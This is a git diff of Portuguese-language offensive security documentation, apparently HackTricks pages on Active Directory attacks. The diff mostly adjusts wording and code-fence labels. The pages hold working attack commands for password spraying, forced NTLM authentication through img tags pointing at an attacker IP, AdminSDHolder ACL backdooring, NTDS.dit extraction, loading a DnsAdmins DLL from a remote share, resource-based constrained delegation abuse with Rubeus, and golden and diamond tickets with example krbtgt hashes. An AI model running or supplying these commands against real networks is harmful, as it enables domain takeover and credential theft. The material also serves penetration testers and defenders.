 - Usando **crackmapexec:**
 ```bash
@@ -76,8 +77,8 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com isso):
-```powershell
+- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senha do domínio e limitará as tentativas de acordo com isso):
+```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
 - Com [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)

src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

@@ -17,9 +17,9 @@ Usando PowerShell, obtenha uma lista de máquinas Windows. Servidores geralmente
 ```bash
 Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
 ```
-### Encontrando serviços de Spooler escutando
+### Encontrando serviços Spooler escutando
 
-Usando uma versão ligeiramente modificada do @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), veja se o Serviço de Spooler está escutando:
+Usando uma versão ligeiramente modificada do @mysmartlogin (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), veja se o Serviço Spooler está escutando:
 ```bash
 . .\Get-SpoolStatus.ps1
 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
@@ -53,7 +53,7 @@ https://github.com/p0dalirius/Coercer
 
 O ataque `PrivExchange` é resultado de uma falha encontrada na **funcionalidade `PushSubscription` do Exchange Server**. Esta funcionalidade permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a se autenticar em qualquer host fornecido pelo cliente via HTTP.
 
-Por padrão, o **serviço Exchange é executado como SYSTEM** e recebe privilégios excessivos (especificamente, possui **privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019**). Esta falha pode ser explorada para permitir o **encaminhamento de informações para o LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio**. Em casos onde o encaminhamento para o LDAP não é possível, esta falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Admin do Domínio com qualquer conta de usuário autenticada do domínio.
+Por padrão, o **serviço Exchange é executado como SYSTEM** e recebe privilégios excessivos (especificamente, possui **privilégios WriteDacl na atualização cumulativa do domínio anterior a 2019**). Esta falha pode ser explorada para permitir o **encaminhamento de informações para o LDAP e, subsequentemente, extrair o banco de dados NTDS do domínio**. Em casos onde o encaminhamento para o LDAP não é possível, esta falha ainda pode ser usada para encaminhar e autenticar em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Administrador de Domínio com qualquer conta de usuário de domínio autenticada.
 
 ## Dentro do Windows
 
@@ -94,7 +94,7 @@ Se você souber o **endereço de email** do usuário que faz login em uma máqui
 ```html
 <img src="\\10.10.17.231\test.ico" height="1" width="1" />
 ```
-e quando ele abrir, ele tentará se autenticar.
+e quando ele o abrir, ele tentará se autenticar.
 
 ### MitM
 
@@ -102,9 +102,15 @@ Se você puder realizar um ataque MitM a um computador e injetar HTML em uma pá
 ```html
 <img src="\\10.10.17.231\test.ico" height="1" width="1" />
 ```
+## Outras maneiras de forçar e phishing de autenticação NTLM
+
+{{#ref}}
+../ntlm/places-to-steal-ntlm-creds.md
+{{#endref}}
+
 ## Quebrando NTLMv1
 
-Se você conseguir capturar [desafios NTLMv1 leia aqui como quebrá-los](../ntlm/index.html#ntlmv1-attack).\
-_Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"_
+Se você puder capturar [desafios NTLMv1 leia aqui como quebrá-los](../ntlm/index.html#ntlmv1-attack).\
+_Lembre-se de que para quebrar NTLMv1 você precisa definir o desafio do Responder como "1122334455667788"_
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grupos Bem Conhecidos com privilégios de administração
+## Grupos Conhecidos com privilégios de administração
 
 - **Administradores**
 - **Administradores de Domínio**
@@ -10,10 +10,10 @@
 
 ## Operadores de Conta
 
-Este grupo tem a capacidade de criar contas e grupos que não são administradores no domínio. Além disso, permite o login local no Controlador de Domínio (DC).
+Este grupo tem a autoridade para criar contas e grupos que não são administradores no domínio. Além disso, permite o login local no Controlador de Domínio (DC).
 
 Para identificar os membros deste grupo, o seguinte comando é executado:
-```powershell
+```bash
 Get-NetGroupMember -Identity "Account Operators" -Recurse
 ```
 Adicionar novos usuários é permitido, assim como o login local no DC01.
@@ -25,7 +25,7 @@ A lista de controle de acesso (ACL) do grupo **AdminSDHolder** é crucial, pois
 Um atacante poderia explorar isso modificando a ACL do grupo **AdminSDHolder**, concedendo permissões totais a um usuário padrão. Isso daria efetivamente a esse usuário controle total sobre todos os grupos protegidos. Se as permissões desse usuário forem alteradas ou removidas, elas seriam automaticamente restauradas dentro de uma hora devido ao design do sistema.
 
 Os comandos para revisar os membros e modificar permissões incluem:
-```powershell
+```bash
 Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
 Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
 Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
@@ -34,9 +34,9 @@ Um script está disponível para agilizar o processo de restauração: [Invoke-A
 
 Para mais detalhes, visite [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
 
-## Lixeira do AD
+## AD Recycle Bin
 
-A filiação a este grupo permite a leitura de objetos do Active Directory deletados, o que pode revelar informações sensíveis:
+A adesão a este grupo permite a leitura de objetos do Active Directory deletados, o que pode revelar informações sensíveis:
 ```bash
 Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
 ```
@@ -46,7 +46,7 @@ O acesso a arquivos no DC é restrito, a menos que o usuário faça parte do gru
 
 ### Escalação de Privilégios
 
-Usando `PsService` ou `sc` do Sysinternals, é possível inspecionar e modificar permissões de serviço. O grupo `Server Operators`, por exemplo, tem controle total sobre certos serviços, permitindo a execução de comandos arbitrários e a escalação de privilégios:
+Usando `PsService` ou `sc` do Sysinternals, é possível inspecionar e modificar permissões de serviços. O grupo `Server Operators`, por exemplo, tem controle total sobre certos serviços, permitindo a execução de comandos arbitrários e a escalação de privilégios:
 ```cmd
 C:\> .\PsService.exe security AppReadiness
 ```
@@ -54,10 +54,10 @@ Este comando revela que `Server Operators` têm acesso total, permitindo a manip
 
 ## Backup Operators
 
-A adesão ao grupo `Backup Operators` fornece acesso ao sistema de arquivos `DC01` devido aos privilégios `SeBackup` e `SeRestore`. Esses privilégios permitem a travessia de pastas, listagem e cópia de arquivos, mesmo sem permissões explícitas, usando a flag `FILE_FLAG_BACKUP_SEMANTICS`. É necessário utilizar scripts específicos para este processo.
+A filiação no grupo `Backup Operators` fornece acesso ao sistema de arquivos `DC01` devido aos privilégios `SeBackup` e `SeRestore`. Esses privilégios permitem a travessia de pastas, listagem e capacidades de cópia de arquivos, mesmo sem permissões explícitas, usando a flag `FILE_FLAG_BACKUP_SEMANTICS`. A utilização de scripts específicos é necessária para este processo.
 
 Para listar os membros do grupo, execute:
-```powershell
+```bash
 Get-NetGroupMember -Identity "Backup Operators" -Recurse
 ```
 ### Ataque Local
@@ -98,7 +98,7 @@ expose %cdrive% F:
 end backup
 exit
 ```
-2. Copie `NTDS.dit` da cópia de sombra:
+2. Copie `NTDS.dit` da cópia sombra:
 ```cmd
 Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
 ```
@@ -133,13 +133,13 @@ Para uma demonstração prática, veja [DEMO VIDEO WITH IPPSEC](https://www.yout
 Membros do grupo **DnsAdmins** podem explorar seus privilégios para carregar uma DLL arbitrária com privilégios de SYSTEM em um servidor DNS, frequentemente hospedado em Controladores de Domínio. Essa capacidade permite um potencial de exploração significativo.
 
 Para listar os membros do grupo DnsAdmins, use:
-```powershell
+```bash
 Get-NetGroupMember -Identity "DnsAdmins" -Recurse
 ```
 ### Executar DLL arbitrária
 
 Membros podem fazer o servidor DNS carregar uma DLL arbitrária (localmente ou de um compartilhamento remoto) usando comandos como:
-```powershell
+```bash
 dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
 dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
 An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
@@ -174,8 +174,8 @@ Também é viável usar mimilib.dll para execução de comandos, modificando-o p
 DnsAdmins podem manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) criando um registro WPAD após desativar a lista de bloqueio de consultas global. Ferramentas como Responder ou Inveigh podem ser usadas para spoofing e captura de tráfego de rede.
 
 ### Leitores de Log de Eventos
-Membros podem acessar logs de eventos, potencialmente encontrando informações sensíveis, como senhas em texto claro ou detalhes de execução de comandos:
-```powershell
+Membros podem acessar logs de eventos, potencialmente encontrando informações sensíveis, como senhas em texto simples ou detalhes de execução de comandos:
+```bash
 # Get members and search logs for sensitive information
 Get-NetGroupMember -Identity "Event Log Readers" -Recurse
 Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
@@ -183,13 +183,13 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
 ## Permissões do Windows do Exchange
 
 Este grupo pode modificar DACLs no objeto do domínio, potencialmente concedendo privilégios DCSync. Técnicas para escalonamento de privilégios explorando este grupo estão detalhadas no repositório Exchange-AD-Privesc do GitHub.
-```powershell
+```bash
 # List members
 Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
 ```
 ## Administradores do Hyper-V
 
-Os Administradores do Hyper-V têm acesso total ao Hyper-V, o que pode ser explorado para obter controle sobre Controladores de Domínio virtualizados. Isso inclui clonar DCs ao vivo e extrair hashes NTLM do arquivo NTDS.dit.
+Administradores do Hyper-V têm acesso total ao Hyper-V, o que pode ser explorado para obter controle sobre Controladores de Domínio virtualizados. Isso inclui clonar DCs ao vivo e extrair hashes NTLM do arquivo NTDS.dit.
 
 ### Exemplo de Exploração
 
@@ -199,7 +199,7 @@ O Serviço de Manutenção da Mozilla do Firefox pode ser explorado por Administ
 takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
 sc.exe start MozillaMaintenance
 ```
-Nota: A exploração de links duros foi mitigada em atualizações recentes do Windows.
+Nota: A exploração de hard links foi mitigada em atualizações recentes do Windows.
 
 ## Gerenciamento de Organização
 
@@ -211,8 +211,8 @@ Em ambientes onde o **Microsoft Exchange** está implantado, um grupo especial c
 
 Membros do grupo **Operadores de Impressão** são dotados de vários privilégios, incluindo o **`SeLoadDriverPrivilege`**, que lhes permite **fazer logon localmente em um Controlador de Domínio**, desligá-lo e gerenciar impressoras. Para explorar esses privilégios, especialmente se **`SeLoadDriverPrivilege`** não estiver visível em um contexto não elevado, é necessário contornar o Controle de Conta de Usuário (UAC).
 
-Para listar os membros deste grupo, o seguinte comando PowerShell é usado:
-```powershell
+Para listar os membros deste grupo, o seguinte comando PowerShell é utilizado:
+```bash
 Get-NetGroupMember -Identity "Print Operators" -Recurse
 ```
 Para técnicas de exploração mais detalhadas relacionadas ao **`SeLoadDriverPrivilege`**, deve-se consultar recursos de segurança específicos.
@@ -220,7 +220,7 @@ Para técnicas de exploração mais detalhadas relacionadas ao **`SeLoadDriverPr
 #### Usuários de Área de Trabalho Remota
 
 Os membros deste grupo têm acesso a PCs via Protocolo de Área de Trabalho Remota (RDP). Para enumerar esses membros, comandos do PowerShell estão disponíveis:
-```powershell
+```bash
 Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
 Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
 ```
@@ -229,16 +229,16 @@ Mais informações sobre a exploração do RDP podem ser encontradas em recursos
 #### Usuários de Gerenciamento Remoto
 
 Membros podem acessar PCs através do **Windows Remote Management (WinRM)**. A enumeração desses membros é realizada através de:
-```powershell
+```bash
 Get-NetGroupMember -Identity "Remote Management Users" -Recurse
 Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
 ```
-Para técnicas de exploração relacionadas ao **WinRM**, deve-se consultar a documentação específica.
+Para técnicas de exploração relacionadas ao **WinRM**, documentação específica deve ser consultada.
 
 #### Operadores de Servidor
 
 Este grupo tem permissões para realizar várias configurações em Controladores de Domínio, incluindo privilégios de backup e restauração, alteração da hora do sistema e desligamento do sistema. Para enumerar os membros, o comando fornecido é:
-```powershell
+```bash
 Get-NetGroupMember -Identity "Server Operators" -Recurse
 ```
 ## Referências <a href="#references" id="references"></a>

src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md

@@ -7,7 +7,7 @@
 Se o **grupo externo** tiver **acesso RDP** a qualquer **computador** no domínio atual, um **atacante** pode **comprometer esse computador e esperar por ele**.
 
 Uma vez que esse usuário tenha acessado via RDP, o **atacante pode pivotar para a sessão desse usuário** e abusar de suas permissões no domínio externo.
-```powershell
+```bash
 # Supposing the group "External Users" has RDP access in the current domain
 ## lets find where they could access
 ## The easiest way would be with bloodhound, but you could also run:
@@ -34,10 +34,10 @@ Verifique **outras maneiras de roubar sessões com outras ferramentas** [**nesta
 
 ## RDPInception
 
-Se um usuário acessar via **RDP em uma máquina** onde um **atacante** está **aguardando** por ele, o atacante poderá **injetar um beacon na sessão RDP do usuário** e se a **vítima montou seu drive** ao acessar via RDP, o **atacante poderia acessá-lo**.
+Se um usuário acessar via **RDP em uma máquina** onde um **atacante** está **aguardando** por ele, o atacante poderá **injetar um beacon na sessão RDP do usuário** e se a **vítima montou seu drive** ao acessar via RDP, o **atacante poderá acessá-lo**.
 
 Nesse caso, você poderia apenas **comprometer** o **computador original** da **vítima** escrevendo um **backdoor** na **pasta de inicialização**.
-```powershell
+```bash
 # Wait til someone logs in:
 net logons
 Logged on users at \\localhost:

src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

@@ -5,18 +5,18 @@
 
 ## Noções Básicas da Delegação Constrangida Baseada em Recurso
 
-Isso é semelhante à [Delegação Constrangida](constrained-delegation.md) básica, mas **em vez** de dar permissões a um **objeto** para **impersonar qualquer usuário contra um serviço**. A Delegação Constrangida Baseada em Recurso **define** no **objeto quem pode impersonar qualquer usuário contra ele**.
+Isso é semelhante à [Delegação Constrangida](constrained-delegation.md) básica, mas **em vez** de dar permissões a um **objeto** para **impersonar qualquer usuário contra uma máquina**. A Delegação Constrangida Baseada em Recurso **define** no **objeto quem pode impersonar qualquer usuário contra ele**.
 
 Neste caso, o objeto constrangido terá um atributo chamado _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ com o nome do usuário que pode impersonar qualquer outro usuário contra ele.
 
-Outra diferença importante desta Delegação Constrangida em relação às outras delegações é que qualquer usuário com **permissões de escrita sobre uma conta de máquina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) pode definir o _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Nas outras formas de Delegação, você precisava de privilégios de administrador de domínio).
+Outra diferença importante desta Delegação Constrangida em relação às outras delegações é que qualquer usuário com **permissões de escrita sobre uma conta de máquina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) pode definir o **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Nas outras formas de Delegação, você precisava de privilégios de administrador de domínio).
 
 ### Novos Conceitos
 
 Na Delegação Constrangida, foi dito que a **`TrustedToAuthForDelegation`** flag dentro do valor _userAccountControl_ do usuário é necessária para realizar um **S4U2Self.** Mas isso não é completamente verdade.\
 A realidade é que mesmo sem esse valor, você pode realizar um **S4U2Self** contra qualquer usuário se você for um **serviço** (tiver um SPN), mas, se você **tiver `TrustedToAuthForDelegation`** o TGS retornado será **Forwardable** e se você **não tiver** essa flag, o TGS retornado **não será** **Forwardable**.
 
-No entanto, se o **TGS** usado em **S4U2Proxy** **NÃO for Forwardable**, tentar abusar de uma **delegação constrangida básica** **não funcionará**. Mas se você estiver tentando explorar uma **delegação constrangida baseada em recurso, funcionará** (isso não é uma vulnerabilidade, é um recurso, aparentemente).
+No entanto, se o **TGS** usado em **S4U2Proxy** **NÃO for Forwardable**, tentar abusar de uma **delegação constrangida básica** **não funcionará**. Mas se você estiver tentando explorar uma **delegação constrangida baseada em recurso, funcionará**.
 
 ### Estrutura do Ataque
 
@@ -24,7 +24,7 @@ No entanto, se o **TGS** usado em **S4U2Proxy** **NÃO for Forwardable**, tentar
 
 Suponha que o atacante já tenha **privilégios equivalentes de escrita sobre o computador da vítima**.
 
-1. O atacante **compromete** uma conta que tem um **SPN** ou **cria um** (“Serviço A”). Note que **qualquer** _Usuário Admin_ sem nenhum outro privilégio especial pode **criar** até 10 **objetos de Computador (**_**MachineAccountQuota**_**)** e definir um **SPN** para eles. Assim, o atacante pode simplesmente criar um objeto de Computador e definir um SPN.
+1. O atacante **compromete** uma conta que tem um **SPN** ou **cria um** (“Serviço A”). Note que **qualquer** _Usuário Admin_ sem nenhum outro privilégio especial pode **criar** até 10 objetos de Computador (**_MachineAccountQuota_**) e definir um **SPN** para eles. Assim, o atacante pode apenas criar um objeto de Computador e definir um SPN.
 2. O atacante **abusa de seu privilégio de ESCRITA** sobre o computador da vítima (Serviço B) para configurar **delegação constrangida baseada em recurso para permitir que o Serviço A impersonifique qualquer usuário** contra aquele computador da vítima (Serviço B).
 3. O atacante usa Rubeus para realizar um **ataque S4U completo** (S4U2Self e S4U2Proxy) do Serviço A para o Serviço B para um usuário **com acesso privilegiado ao Serviço B**.
 1. S4U2Self (da conta SPN comprometida/criada): Solicitar um **TGS de Administrador para mim** (Não Forwardable).
@@ -33,15 +33,15 @@ Suponha que o atacante já tenha **privilégios equivalentes de escrita sobre o
 4. O atacante pode **passar o ticket** e **impersonar** o usuário para ganhar **acesso ao Serviço B da vítima**.
 
 Para verificar o _**MachineAccountQuota**_ do domínio, você pode usar:
-```powershell
+```bash
 Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
 ```
 ## Ataque
 
 ### Criando um Objeto de Computador
 
-Você pode criar um objeto de computador dentro do domínio usando [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
-```powershell
+Você pode criar um objeto de computador dentro do domínio usando **[powermad](https://github.com/Kevin-Robertson/Powermad):**
+```bash
 import-module powermad
 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
 
@@ -51,12 +51,12 @@ Get-DomainComputer SERVICEA
 ### Configurando Delegação Constrangida Baseada em Recurso
 
 **Usando o módulo PowerShell do activedirectory**
-```powershell
+```bash
 Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
 Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
 ```
 **Usando powerview**
-```powershell
+```bash
 $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
 $SDBytes = New-Object byte[] ($SD.BinaryLength)
@@ -72,7 +72,7 @@ msds-allowedtoactonbehalfofotheridentity
 ```
 ### Realizando um ataque S4U completo
 
-Primeiramente, criamos o novo objeto Computador com a senha `123456`, então precisamos do hash dessa senha:
+Primeiro de tudo, criamos o novo objeto Computador com a senha `123456`, então precisamos do hash dessa senha:
 ```bash
 .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
 ```
@@ -81,7 +81,7 @@ Agora, o ataque pode ser realizado:
 ```bash
 rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
 ```
-Você pode gerar mais tickets apenas pedindo uma vez usando o parâmetro `/altservice` do Rubeus:
+Você pode gerar mais tickets para mais serviços apenas pedindo uma vez usando o parâmetro `/altservice` do Rubeus:
 ```bash
 rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
 ```
@@ -97,7 +97,7 @@ ls \\victim.domain.local\C$
 ```
 ### Abuse diferentes tickets de serviço
 
-Saiba mais sobre os [**tickets de serviço disponíveis aqui**](silver-ticket.md#available-services).
+Saiba sobre os [**tickets de serviço disponíveis aqui**](silver-ticket.md#available-services).
 
 ## Erros do Kerberos
 
@@ -106,8 +106,8 @@ Saiba mais sobre os [**tickets de serviço disponíveis aqui**](silver-ticket.md
 - **`preauth_failed`**: Isso significa que o nome de usuário + hashes fornecidos não estão funcionando para login. Você pode ter esquecido de colocar o "$" dentro do nome de usuário ao gerar os hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
 - **`KDC_ERR_BADOPTION`**: Isso pode significar:
   - O usuário que você está tentando impersonar não pode acessar o serviço desejado (porque você não pode impersoná-lo ou porque ele não tem privilégios suficientes)
-  - O serviço solicitado não existe (se você pedir um ticket para winrm, mas o winrm não estiver em execução)
-  - O fakecomputer criado perdeu seus privilégios sobre o servidor vulnerável e você precisa recuperá-los.
+  - O serviço solicitado não existe (se você pedir um ticket para winrm, mas o winrm não está em execução)
+  - O fakecomputer criado perdeu seus privilégios sobre o servidor vulnerável e você precisa devolvê-los.
 
 ## Referências
 
@@ -115,5 +115,7 @@ Saiba mais sobre os [**tickets de serviço disponíveis aqui**](silver-ticket.md
 - [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
 - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
 - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
+- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
+
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/sid-history-injection.md

@@ -4,18 +4,46 @@
 
 ## Ataque de Injeção de SID History
 
-O foco do **Ataque de Injeção de SID History** é auxiliar **na migração de usuários entre domínios** enquanto garante o acesso contínuo a recursos do domínio anterior. Isso é realizado **incorporando o Identificador de Segurança (SID) anterior do usuário ao SID History** de sua nova conta. Notavelmente, esse processo pode ser manipulado para conceder acesso não autorizado ao adicionar o SID de um grupo de alto privilégio (como Enterprise Admins ou Domain Admins) do domínio pai ao SID History. Essa exploração confere acesso a todos os recursos dentro do domínio pai.
+O foco do **Ataque de Injeção de SID History** é auxiliar **na migração de usuários entre domínios** enquanto garante o acesso contínuo a recursos do domínio anterior. Isso é realizado **incorporando o Identificador de Segurança (SID) anterior do usuário no SID History** de sua nova conta. Notavelmente, esse processo pode ser manipulado para conceder acesso não autorizado ao adicionar o SID de um grupo de alto privilégio (como Administradores de Empresa ou Administradores de Domínio) do domínio pai ao SID History. Essa exploração confere acesso a todos os recursos dentro do domínio pai.
 
 Existem dois métodos para executar esse ataque: através da criação de um **Golden Ticket** ou um **Diamond Ticket**.
 
-Para identificar o SID do grupo **"Enterprise Admins"**, é necessário primeiro localizar o SID do domínio raiz. Após a identificação, o SID do grupo Enterprise Admins pode ser construído adicionando `-519` ao SID do domínio raiz. Por exemplo, se o SID do domínio raiz for `S-1-5-21-280534878-1496970234-700767426`, o SID resultante para o grupo "Enterprise Admins" seria `S-1-5-21-280534878-1496970234-700767426-519`.
+Para identificar o SID do grupo **"Administradores de Empresa"**, é necessário primeiro localizar o SID do domínio raiz. Após a identificação, o SID do grupo Administradores de Empresa pode ser construído adicionando `-519` ao SID do domínio raiz. Por exemplo, se o SID do domínio raiz for `S-1-5-21-280534878-1496970234-700767426`, o SID resultante para o grupo "Administradores de Empresa" seria `S-1-5-21-280534878-1496970234-700767426-519`.
 
-Você também pode usar os grupos **Domain Admins**, que terminam em **512**.
+Você também pode usar os grupos **Administradores de Domínio**, que terminam em **512**.
 
-Outra maneira de encontrar o SID de um grupo do outro domínio (por exemplo, "Domain Admins") é com:
-```powershell
+Outra maneira de encontrar o SID de um grupo do outro domínio (por exemplo, "Administradores de Domínio") é com:
+```bash
 Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
 ```
+> [!WARNING]
+> Note que é possível desativar o histórico de SID em um relacionamento de confiança, o que fará com que este ataque falhe.
+
+De acordo com a [**docs**](https://technet.microsoft.com/library/cc835085.aspx):
+- **Desativando o SIDHistory em florestas de confiança** usando a ferramenta netdom (`netdom trust /domain: /EnableSIDHistory:no no controlador de domínio`)
+- **Aplicando Quarentena de Filtro de SID a confianças externas** usando a ferramenta netdom (`netdom trust /domain: /quarantine:yes no controlador de domínio`)
+- **Aplicar Filtro de SID a confianças de domínio dentro de uma única floresta** não é recomendado, pois é uma configuração não suportada e pode causar mudanças drásticas. Se um domínio dentro de uma floresta não for confiável, ele não deve ser membro da floresta. Nessa situação, é necessário primeiro separar os domínios confiáveis e não confiáveis em florestas separadas onde o Filtro de SID pode ser aplicado a uma confiança interflorestal.
+
+Verifique este post para mais informações sobre como contornar isso: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
+
+### Diamond Ticket (Rubeus + KRBTGT-AES256)
+
+Na última vez que tentei isso, precisei adicionar o arg **`/ldap`**.
+```bash
+# Use the /sids param
+Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
+
+# Or a ptt with a golden ticket
+## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
+## The /printcmd option will print the complete command if later you want to generate a token offline
+Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
+
+#e.g.
+
+execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
+
+# You can use "Administrator" as username or any other string
+```
 ### Golden Ticket (Mimikatz) com KRBTGT-AES256
 ```bash
 mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
@@ -39,16 +67,7 @@ Para mais informações sobre golden tickets, consulte:
 golden-ticket.md
 {{#endref}}
 
-### Diamond Ticket (Rubeus + KRBTGT-AES256)
-```powershell
-# Use the /sids param
-Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
 
-# Or a ptt with a golden ticket
-Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt
-
-# You can use "Administrator" as username or any other string
-```
 Para mais informações sobre diamond tickets, consulte:
 
 {{#ref}}
@@ -59,7 +78,7 @@ diamond-ticket.md
 .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
 ls \\mcorp-dc.moneycorp.local\c$
 ```
-Escalar para DA de root ou administrador da Enterprise usando o hash KRBTGT do domínio comprometido:
+Escalar para DA de root ou administrador da empresa usando o hash KRBTGT do domínio comprometido:
 ```bash
 Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
 
@@ -71,7 +90,7 @@ schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTE
 
